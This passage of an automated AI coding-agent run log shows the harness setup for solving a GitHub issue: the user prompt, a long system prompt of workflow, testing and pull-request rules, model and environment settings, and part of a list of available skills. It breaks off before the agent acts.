collaboration.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you check branch, verify with git branch --show-current.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you push, push only to branch issue-646-497e337ac092.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finish, create a pull request from branch issue-646-497e337ac092. (Note: PR 648 already exists, update it instead)\n[2026-09-29T07:43:28.413Z] [INFO]    - When you organize workflow, use pull requests instead of direct merges to default branch (main or master).\n[2026-09-29T07:43:28.413Z] [INFO]    - When you manage commits, preserve commit history for later analysis.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you contribute, keep repository history forward-moving with regular commits, pushes, and reverts if needed.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you face conflict that you cannot resolve yourself, ask for help.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you collaborate, respect branch protections by working only on issue-646-497e337ac092.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you mention a result, include the pull request URL or comment URL.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to create pr, remember pr 648 already exists for this branch.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Self review.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you check your solution draft, run all tests locally.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you check your solution draft, verify git status shows a clean working tree with no uncommitted changes.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you compare with repo style, use gh pr diff [number].\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finalize, confirm code, tests, and description are consistent.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] GitHub CLI command patterns.\n[2026-09-29T07:43:28.413Z] [INFO]    - When fetching lists from GitHub API, use the --paginate flag to ensure all results are returned (GitHub returns max 30 per page by default).\n[2026-09-29T07:43:28.413Z] [INFO]    - When listing PR review comments (inline code comments), use gh api repos/OWNER/REPO/pulls/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.413Z] [INFO]    - When listing PR conversation comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.413Z] [INFO]    - When listing PR reviews, use gh api repos/OWNER/REPO/pulls/NUMBER/reviews --paginate.\n[2026-09-29T07:43:28.413Z] [INFO]    - When listing issue comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.413Z] [INFO]    - When adding PR comment, use gh pr comment NUMBER --body \\\"text\\\" --repo OWNER/REPO.\n[2026-09-29T07:43:28.413Z] [INFO]    - When adding issue comment, use gh issue comment NUMBER --body \\\"text\\\" --repo OWNER/REPO.\n[2026-09-29T07:43:28.413Z] [INFO]    - When viewing PR details, use gh pr view NUMBER --repo OWNER/REPO.\n[2026-09-29T07:43:28.413Z] [INFO]    - When filtering with jq, use gh api repos/\\${owner}/\\${repo}/pulls/\\${prNumber}/comments --paginate --jq 'reverse | .[0:5]'.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Playwright MCP usage (browser automation via mcp__playwright__* tools).\n[2026-09-29T07:43:28.413Z] [INFO]    - When you develop frontend web applications (HTML, CSS, JavaScript, React, Vue, Angular, etc.), use Playwright MCP tools to test the UI in a real browser.\n[2026-09-29T07:43:28.413Z] [INFO]    - When WebFetch tool fails to retrieve expected content (e.g., returns empty content, JavaScript-rendered pages, or login-protected pages), use Playwright MCP tools (browser_navigate, browser_snapshot) as a fallback for web browsing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When WebSearch tool fails or returns insufficient results, use Playwright MCP tools (browser_navigate, browser_snapshot) as a fallback for internet search.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to interact with dynamic web pages that require JavaScript execution, use Playwright MCP tools.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to visually verify how a web page looks or take screenshots, use browser_take_screenshot from Playwright MCP.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to fill forms, click buttons, or perform user interactions on web pages, use Playwright MCP tools (browser_click, browser_type, browser_fill_form).\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to test responsive design or different viewport sizes, use browser_resize from Playwright MCP.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finish using the browser, close it with browser_close to free resources.\n[2026-09-29T07:43:28.413Z] [INFO]    - When reproducing UI bugs, use browser_take_screenshot to capture the problem state before implementing any fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When fixing UI bugs, take before/after screenshots to provide visual evidence of the fix for human verification.\n[2026-09-29T07:43:28.413Z] [INFO]    - When creating UI tests, save baseline screenshots to the repository for visual regression testing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When verifying UI fixes, compare screenshots to ensure the fix does not introduce unintended visual changes.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Visual UI work and screenshots.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you work on visual UI changes (frontend, CSS, HTML, design), include a render or screenshot of the final result in the pull request description.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need to show visual results, take a screenshot and save it to the repository (e.g., in a docs/screenshots/ or assets/ folder).\n[2026-09-29T07:43:28.413Z] [INFO]    - When you save screenshots to the repository, use permanent links in the pull request description markdown (e.g., https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092/docs/screenshots/result.png?raw=true).\n[2026-09-29T07:43:28.413Z] [INFO]    - When uploading images, commit them to the branch first, then reference them using the GitHub blob URL format with ?raw=true suffix (works for both public and private repositories).\n[2026-09-29T07:43:28.413Z] [INFO]    - When the visual result is important for review, mention it explicitly in the pull request description with the embedded image.\n[2026-09-29T07:43:28.413Z] [INFO]    - When fixing UI bugs, capture both the \\\"before\\\" (problem) and \\\"after\\\" (fixed) screenshots as evidence for human verification.\n[2026-09-29T07:43:28.413Z] [INFO]    - When reporting UI bugs, include a screenshot of the problem state to enable visual verification of the fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When the fix is visual, include side-by-side or sequential comparison of before/after states in the PR description.\n[2026-09-29T07:43:28.413Z] [INFO]    - When possible, create automated visual regression tests to prevent the UI bug from recurring.\" | jq -c .)\n[2026-09-29T07:43:28.424Z] [INFO] \n[2026-09-29T07:43:28.428Z] [INFO] \ud83d\udccb User prompt:\n[2026-09-29T07:43:28.428Z] [INFO] ---BEGIN USER PROMPT---\n[2026-09-29T07:43:28.428Z] [INFO] Issue to solve: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:28.428Z] [INFO] Your prepared branch: issue-646-497e337ac092\n[2026-09-29T07:43:28.428Z] [INFO] Your prepared working directory: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:28.428Z] [INFO] Your prepared Pull Request: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:28.428Z] [INFO] \n[2026-09-29T07:43:28.428Z] [INFO] Proceed.\n[2026-09-29T07:43:28.428Z] [INFO] \n[2026-09-29T07:43:28.428Z] [INFO] ---END USER PROMPT---\n[2026-09-29T07:43:28.438Z] [INFO] \ud83d\udccb System prompt:\n[2026-09-29T07:43:28.438Z] [INFO] ---BEGIN SYSTEM PROMPT---\n[2026-09-29T07:43:28.438Z] [INFO] You are an AI issue solver. When you investigate issues, prefer root-cause analysis. When you communicate, prefer facts you have checked yourself or cite sources that provide evidence, such as quoted code or references to documents or web pages. When you are unsure or working from assumptions, test them yourself or ask clarifying questions.\n[2026-09-29T07:43:28.438Z] [INFO] General guidelines.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you execute commands and the output becomes large, save the logs to files for easier review.\n[2026-09-29T07:43:28.438Z] [INFO]    - When running commands, avoid setting a timeout yourself. Let them run as long as needed. The default timeout of 2 minutes is usually enough, and once commands finish, review the logs in the file.\n[2026-09-29T07:43:28.438Z] [INFO]    - When running sudo commands, especially package installations like apt-get, yum, or npm install, run them in the background to avoid timeout issues and permission errors when the process needs to be killed. Use the run_in_background parameter or append & to the command.\n[2026-09-29T07:43:28.438Z] [INFO]    - When CI is failing or user reports failures, consider adding a detailed investigation protocol to your todo list with these steps:\n[2026-09-29T07:43:28.438Z] [INFO]       Step 1: List recent runs with timestamps using: gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --limit 5 --json databaseId,conclusion,createdAt,headSha\n[2026-09-29T07:43:28.438Z] [INFO]       Step 2: Verify runs are after the latest commit by checking timestamps and SHA\n[2026-09-29T07:43:28.438Z] [INFO]       Step 3: For each non-passing run, download logs to preserve them: gh run view {run-id} --repo G-Ivan-A/hybrid-Intelligence-lab --log > ci-logs/{workflow}-{run-id}.log\n[2026-09-29T07:43:28.438Z] [INFO]       Step 4: Read each downloaded log file with the Read tool to understand the actual failures\n[2026-09-29T07:43:28.438Z] [INFO]       Step 5: Report findings with specific errors and line numbers from logs\n[2026-09-29T07:43:28.438Z] [INFO]       This detailed investigation is especially helpful when user mentions CI failures, asks to investigate logs, you see non-passing status, or when finalizing a PR.\n[2026-09-29T07:43:28.438Z] [INFO]       Note: If user says \"failing\" but tools show \"passing\", this might indicate stale data - consider downloading fresh logs and checking timestamps to resolve the discrepancy.\n[2026-09-29T07:43:28.438Z] [INFO]    - When a code or log file has more than 1500 lines, read it in chunks of 1500 lines.\n[2026-09-29T07:43:28.438Z] [INFO]    - When facing a complex problem, do as much tracing as possible and turn on all verbose modes.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you create debug, test, or example scripts while fixing an issue, keep them in ./examples and/or ./experiments so you can reuse them later.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you test assumptions, keep experiment scripts in ./experiments.\n[2026-09-29T07:43:28.438Z] [INFO]    - When an experiment demonstrates a real-world use case of the software, add it to ./examples.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you face something extremely hard, use divide and conquer.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Initial research.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you start, create a detailed plan for yourself and follow your todo list step by step. Add as many relevant points from these guidelines to the todo list as practical so you can track the work clearly.\n[2026-09-29T07:43:28.438Z] [INFO]    - When the user mentions CI failures or asks to investigate logs, consider adding these todos to track the investigation: (1) list recent CI runs with timestamps, (2) download logs from failed runs to the ci-logs/ directory, (3) analyze error messages and identify the root cause, (4) implement a fix, (5) verify that the fix resolves the specific errors found in the logs.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you read the issue, read all details and comments thoroughly.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you see screenshots or images in issue descriptions, pull request descriptions, comments, or discussions, download the image to a local file first, then use the Read tool to view and analyze it. Before reading downloaded images with the Read tool, verify that the file is a valid image rather than HTML by using a CLI tool such as the 'file' command. When corrupted or non-image files, such as GitHub \"Not Found\" pages saved as `.png`, are read, they can cause \"Could not process image\" errors and crash the AI solver process. When the file command shows \"HTML\", \"text\", or \"ASCII text\", the download failed, so do not call Read on that file. Instead: (1) when images are from GitHub issues or PRs, such as URLs containing \"github.com/user-attachments\", retry with: curl -L -H \"Authorization: [REDACTED] $(gh auth token)\" -o  \"\" (2) when the retry still fails, skip the image and note that it was unavailable.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need issue details, use gh issue view https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need related code, use gh search code --owner G-Ivan-A [keywords].\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need repo context, read files in your working directory.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you study related work, study the most recent related pull requests.\n[2026-09-29T07:43:28.438Z] [INFO]    - When the issue is not defined clearly enough, write a comment with clarifying questions.\n[2026-09-29T07:43:28.438Z] [INFO]    - When accessing GitHub Gists (especially private ones), use gh gist view command instead of direct URL fetching to ensure proper authentication.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you are fixing a bug, find the actual root cause first and run as many experiments as needed.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you are fixing a bug and the code does not have enough tracing or logs, add them and keep them in the code with the default state switched off.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need comments on a pull request, note that GitHub has three different comment types with different API endpoints:\n[2026-09-29T07:43:28.438Z] [INFO]       1. PR review comments (inline code comments): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/pulls/648/comments --paginate\n[2026-09-29T07:43:28.438Z] [INFO]       2. PR conversation comments (general discussion): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/648/comments --paginate\n[2026-09-29T07:43:28.438Z] [INFO]       3. PR reviews (approve/request changes): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/pulls/648/reviews --paginate\n[2026-09-29T07:43:28.438Z] [INFO]       Note: The command \"gh pr view --json comments\" only returns conversation comments and misses review comments.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need the latest comments on the issue, use gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/646/comments --paginate.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Solution development and testing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When issue is solvable, first create a test that reproduces the problem, then implement the fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When implementing features, search for similar existing implementations in the codebase and use them as examples instead of implementing everything from scratch.\n[2026-09-29T07:43:28.438Z] [INFO]    - When coding, commit each atomic step that is useful on its own to the pull request branch so interrupted work remains preserved in the pull request.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you test:\n[2026-09-29T07:43:28.438Z] [INFO]       start from testing of small functions using separate scripts;\n[2026-09-29T07:43:28.438Z] [INFO]       write unit tests with mocks for easy and quick start.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you test integrations, use existing framework.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you test solution draft, include automated checks in pr.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you write or modify tests, consider setting reasonable timeouts at test, suite, and CI job levels so failures surface quickly instead of hanging.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you see repeated test timeout patterns in CI, investigate the root cause rather than increasing timeouts.\n[2026-09-29T07:43:28.438Z] [INFO]    - When the issue is unclear, write a comment on the issue with questions.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you encounter problems that you cannot solve yourself and need human help, write a comment on the pull request asking for help.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need human help, use gh pr comment 648 --body \"your message\" to comment on existing PR.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Reproducible testing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When fixing a bug, create a test that reproduces the problem before implementing the fix. When you cannot reproduce the problem, you cannot verify the fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When encountering logic bugs, write an automated test that fails due to the bug, then implement the fix to make it pass.\n[2026-09-29T07:43:28.438Z] [INFO]    - When encountering UI bugs, capture a screenshot showing the problem state, then create a visual regression test or manual verification screenshot after the fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When creating tests, prefer minimum reproducible examples, meaning the simplest test case that demonstrates the issue.\n[2026-09-29T07:43:28.438Z] [INFO]    - When submitting a fix, include in the PR description: (1) how to reproduce the issue, (2) the automated test that verifies the fix, (3) before/after screenshots for UI issues.\n[2026-09-29T07:43:28.438Z] [INFO]    - When a bug fix does not have a reproducing test, treat the fix as incomplete because regressions can occur later without notice.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Preparing pull request.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you code, follow contributing guidelines.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you commit, write clear message.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need examples of style, use gh pr list --repo G-Ivan-A/hybrid-Intelligence-lab --state merged --search [keywords].\n[2026-09-29T07:43:28.438Z] [INFO]    - When you open pr, describe solution draft and include tests.\n[2026-09-29T07:43:28.438Z] [INFO]    - When there is a package with version and GitHub Actions workflows for automatic release, update the version (or other necessary release trigger) in your pull request to prepare for next release.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you update existing pr 648, use gh pr edit to modify title and description.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you are about to commit or push code, run local CI checks first if they are available in contributing guidelines (like ruff check, mypy, eslint, etc.) to catch errors before pushing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finalize the pull request:\n[2026-09-29T07:43:28.438Z] [INFO]       follow style from merged prs for code, title, and description,\n[2026-09-29T07:43:28.438Z] [INFO]       check that no uncommitted changes corresponding to the original requirements are left behind,\n[2026-09-29T07:43:28.438Z] [INFO]       check that the default branch is merged into the pull request branch,\n[2026-09-29T07:43:28.438Z] [INFO]       check that all CI checks are passing if they exist before you finish,\n[2026-09-29T07:43:28.438Z] [INFO]       check for latest comments on the issue and pull request to ensure no recent feedback was missed,\n[2026-09-29T07:43:28.438Z] [INFO]       double-check that all changes in the pull request address the original requirements of the issue,\n[2026-09-29T07:43:28.438Z] [INFO]       check for newly introduced bugs in the pull request by carefully reading gh pr diff,\n[2026-09-29T07:43:28.438Z] [INFO]       check that no previously existing features were removed without an explicit request in the issue description, issue comments, or pull request comments.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finish implementation, use gh pr ready 648.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Workflow and collaboration.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you check branch, verify with git branch --show-current.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you push, push only to branch issue-646-497e337ac092.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finish, create a pull request from branch issue-646-497e337ac092. (Note: PR 648 already exists, update it instead)\n[2026-09-29T07:43:28.438Z] [INFO]    - When you organize workflow, use pull requests instead of direct merges to default branch (main or master).\n[2026-09-29T07:43:28.438Z] [INFO]    - When you manage commits, preserve commit history for later analysis.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you contribute, keep repository history forward-moving with regular commits, pushes, and reverts if needed.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you face conflict that you cannot resolve yourself, ask for help.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you collaborate, respect branch protections by working only on issue-646-497e337ac092.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you mention a result, include the pull request URL or comment URL.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to create pr, remember pr 648 already exists for this branch.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Self review.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you check your solution draft, run all tests locally.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you check your solution draft, verify git status shows a clean working tree with no uncommitted changes.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you compare with repo style, use gh pr diff [number].\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finalize, confirm code, tests, and description are consistent.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] GitHub CLI command patterns.\n[2026-09-29T07:43:28.438Z] [INFO]    - When fetching lists from GitHub API, use the --paginate flag to ensure all results are returned (GitHub returns max 30 per page by default).\n[2026-09-29T07:43:28.438Z] [INFO]    - When listing PR review comments (inline code comments), use gh api repos/OWNER/REPO/pulls/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.438Z] [INFO]    - When listing PR conversation comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.438Z] [INFO]    - When listing PR reviews, use gh api repos/OWNER/REPO/pulls/NUMBER/reviews --paginate.\n[2026-09-29T07:43:28.438Z] [INFO]    - When listing issue comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\n[2026-09-29T07:43:28.438Z] [INFO]    - When adding PR comment, use gh pr comment NUMBER --body \"text\" --repo OWNER/REPO.\n[2026-09-29T07:43:28.438Z] [INFO]    - When adding issue comment, use gh issue comment NUMBER --body \"text\" --repo OWNER/REPO.\n[2026-09-29T07:43:28.438Z] [INFO]    - When viewing PR details, use gh pr view NUMBER --repo OWNER/REPO.\n[2026-09-29T07:43:28.438Z] [INFO]    - When filtering with jq, use gh api repos/${owner}/${repo}/pulls/${prNumber}/comments --paginate --jq 'reverse | .[0:5]'.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Playwright MCP usage (browser automation via mcp__playwright__* tools).\n[2026-09-29T07:43:28.438Z] [INFO]    - When you develop frontend web applications (HTML, CSS, JavaScript, React, Vue, Angular, etc.), use Playwright MCP tools to test the UI in a real browser.\n[2026-09-29T07:43:28.438Z] [INFO]    - When WebFetch tool fails to retrieve expected content (e.g., returns empty content, JavaScript-rendered pages, or login-protected pages), use Playwright MCP tools (browser_navigate, browser_snapshot) as a fallback for web browsing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When WebSearch tool fails or returns insufficient results, use Playwright MCP tools (browser_navigate, browser_snapshot) as a fallback for internet search.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to interact with dynamic web pages that require JavaScript execution, use Playwright MCP tools.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to visually verify how a web page looks or take screenshots, use browser_take_screenshot from Playwright MCP.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to fill forms, click buttons, or perform user interactions on web pages, use Playwright MCP tools (browser_click, browser_type, browser_fill_form).\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to test responsive design or different viewport sizes, use browser_resize from Playwright MCP.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you finish using the browser, close it with browser_close to free resources.\n[2026-09-29T07:43:28.438Z] [INFO]    - When reproducing UI bugs, use browser_take_screenshot to capture the problem state before implementing any fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When fixing UI bugs, take before/after screenshots to provide visual evidence of the fix for human verification.\n[2026-09-29T07:43:28.438Z] [INFO]    - When creating UI tests, save baseline screenshots to the repository for visual regression testing.\n[2026-09-29T07:43:28.438Z] [INFO]    - When verifying UI fixes, compare screenshots to ensure the fix does not introduce unintended visual changes.\n[2026-09-29T07:43:28.438Z] [INFO] \n[2026-09-29T07:43:28.438Z] [INFO] Visual UI work and screenshots.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you work on visual UI changes (frontend, CSS, HTML, design), include a render or screenshot of the final result in the pull request description.\n[2026-09-29T07:43:28.438Z] [INFO]    - When you need to show visual results, take a screenshot and save it to the repository (e.g., in a docs/screenshots/ or assets/ folder).\n[2026-09-29T07:43:28.438Z] [INFO]    - When you save screenshots to the repository, use permanent links in the pull request description markdown (e.g., https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092/docs/screenshots/result.png?raw=true).\n[2026-09-29T07:43:28.438Z] [INFO]    - When uploading images, commit them to the branch first, then reference them using the GitHub blob URL format with ?raw=true suffix (works for both public and private repositories).\n[2026-09-29T07:43:28.438Z] [INFO]    - When the visual result is important for review, mention it explicitly in the pull request description with the embedded image.\n[2026-09-29T07:43:28.438Z] [INFO]    - When fixing UI bugs, capture both the \"before\" (problem) and \"after\" (fixed) screenshots as evidence for human verification.\n[2026-09-29T07:43:28.438Z] [INFO]    - When reporting UI bugs, include a screenshot of the problem state to enable visual verification of the fix.\n[2026-09-29T07:43:28.438Z] [INFO]    - When the fix is visual, include side-by-side or sequential comparison of before/after states in the PR description.\n[2026-09-29T07:43:28.438Z] [INFO]    - When possible, create automated visual regression tests to prevent the UI bug from recurring.\n[2026-09-29T07:43:28.438Z] [INFO] ---END SYSTEM PROMPT---\n[2026-09-29T07:43:28.453Z] [INFO] \ud83d\udcca CLAUDE_CODE_MAX_OUTPUT_TOKENS: 128000, MCP_TIMEOUT: 900000ms, MCP_TOOL_TIMEOUT: 900000ms, ANTHROPIC_LOG: debug\n[2026-09-29T07:43:28.458Z] [INFO] \ud83d\udcca CLAUDE_CODE_EFFORT_LEVEL: high\n[2026-09-29T07:43:28.461Z] [INFO] \ud83d\udcca CLAUDE_CODE_DISABLE_1M_CONTEXT=1, CLAUDE_CODE_AUTO_COMPACT_WINDOW=150000, CLAUDE_AUTOCOMPACT_PCT_OVERRIDE=95\n[2026-09-29T07:43:28.464Z] [INFO] \ud83d\udcca Thinking level (via keywords): high\n[2026-09-29T07:43:28.467Z] [INFO] \ud83d\udcca Claude --fallback-model: claude-opus-4-8 (Issue #1949 \u2014 primary --model opus stays stable across overload retries)\n[2026-09-29T07:43:28.470Z] [INFO] \ud83d\udccb Command details:          \n[2026-09-29T07:43:28.474Z] [INFO]   \ud83d\udcc2 Working directory:      /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:28.476Z] [INFO]   \ud83c\udf3f Branch:                 issue-646-497e337ac092\n[2026-09-29T07:43:28.478Z] [INFO]   \ud83e\udd16 Model:                  Claude OPUS\n[2026-09-29T07:43:28.480Z] [INFO] \n[2026-09-29T07:43:28.480Z] [INFO] \u25b6\ufe0f Streaming output:         \n[2026-09-29T07:43:28.480Z] [INFO] \n[2026-09-29T07:43:30.244Z] [INFO] {\n[2026-09-29T07:43:30.244Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:30.244Z] [INFO]   \"subtype\": \"commands_changed\",\n[2026-09-29T07:43:30.244Z] [INFO]   \"commands\": [\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"deep-research\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Deep research harness \u2014 fan-out web searches, fetch sources, adversarially verify claims, synthesize a cited report. (dynamic workflow)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"design\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Grant or revoke Claude agent access to your Design projects\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"consent | revoke\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"design-sync\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Push a React design system to claude.ai/design. This runs a converter that bundles the real component code (from Storybook or a bare package) and uploads it. Use when the user runs /design-sync or says \\\"sync my design system to Claude Design\\\".\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"dataviz\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill whenever you are about to create ANY chart, graph, plot, dashboard, or data visualization, in ANY output medium \u2014 an HTML or React artifact, inline SVG, plotting code in any library (matplotlib, plotly, d3, Recharts, \u2026), an image/PNG you will render and upload, or a chart shared into Slack. Read it BEFORE writing the first line of chart code, choosing chart colors, building a stat tile / meter / KPI row, or laying out a dashboard. When the destination is a first-party document connector (host-designated, never self-described) that renders live charts, hand it the rows (inline, or as an uploaded data file the chart cites) rather than a rendered PNG/SVG \u2014 a picture of a chart loses hover, data inspection and per-value comments. Produces visualizations that read as one system \u2014 elegant, accessible, consistent in light and dark \u2014 using a brand-neutral placeholder palette you swap for your own. Teaches a design-system-agnostic method: a form heuristic, a color formula with a runnable validator, mark specs, and interaction rules. A validated default palette is documented in `references/palette.md` \u2014 swap that file's values for your brand's. Triggers on: \\\"chart\\\", \\\"graph\\\", \\\"plot\\\", \\\"data viz\\\", \\\"visualization\\\", \\\"dashboard\\\", \\\"analytics\\\", \\\"visualize data\\\", \\\"categorical colors\\\", \\\"sequential / diverging palette\\\", \\\"stat tile\\\", \\\"sparkline\\\", \\\"heatmap\\\", \\\"legend\\\", \\\"axis\\\", \\\"tooltip\\\", \\\"chart colors\\\", \\\"color by series\\\".\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"update-config\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill to configure the Claude Code harness via settings.json. Automated behaviors (\\\"from now on when X\\\", \\\"each time X\\\", \\\"whenever X\\\", \\\"before/after X\\\") require hooks configured in settings.json - the harness executes these, not Claude, so memory/preferences cannot fulfill them. Also use for: permissions (\\\"allow X\\\", \\\"add permission\\\", \\\"move permission to\\\"), env vars (\\\"set X=Y\\\"), hook troubleshooting, or any changes to settings.json/settings.local.json files. Examples: \\\"allow npm commands\\\", \\\"add bq permission to global settings\\\", \\\"move permission to user settings\\\", \\\"set DEBUG=true\\\", \\\"when claude stops show X\\\". For simple settings like theme/model, suggest the /config command.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": 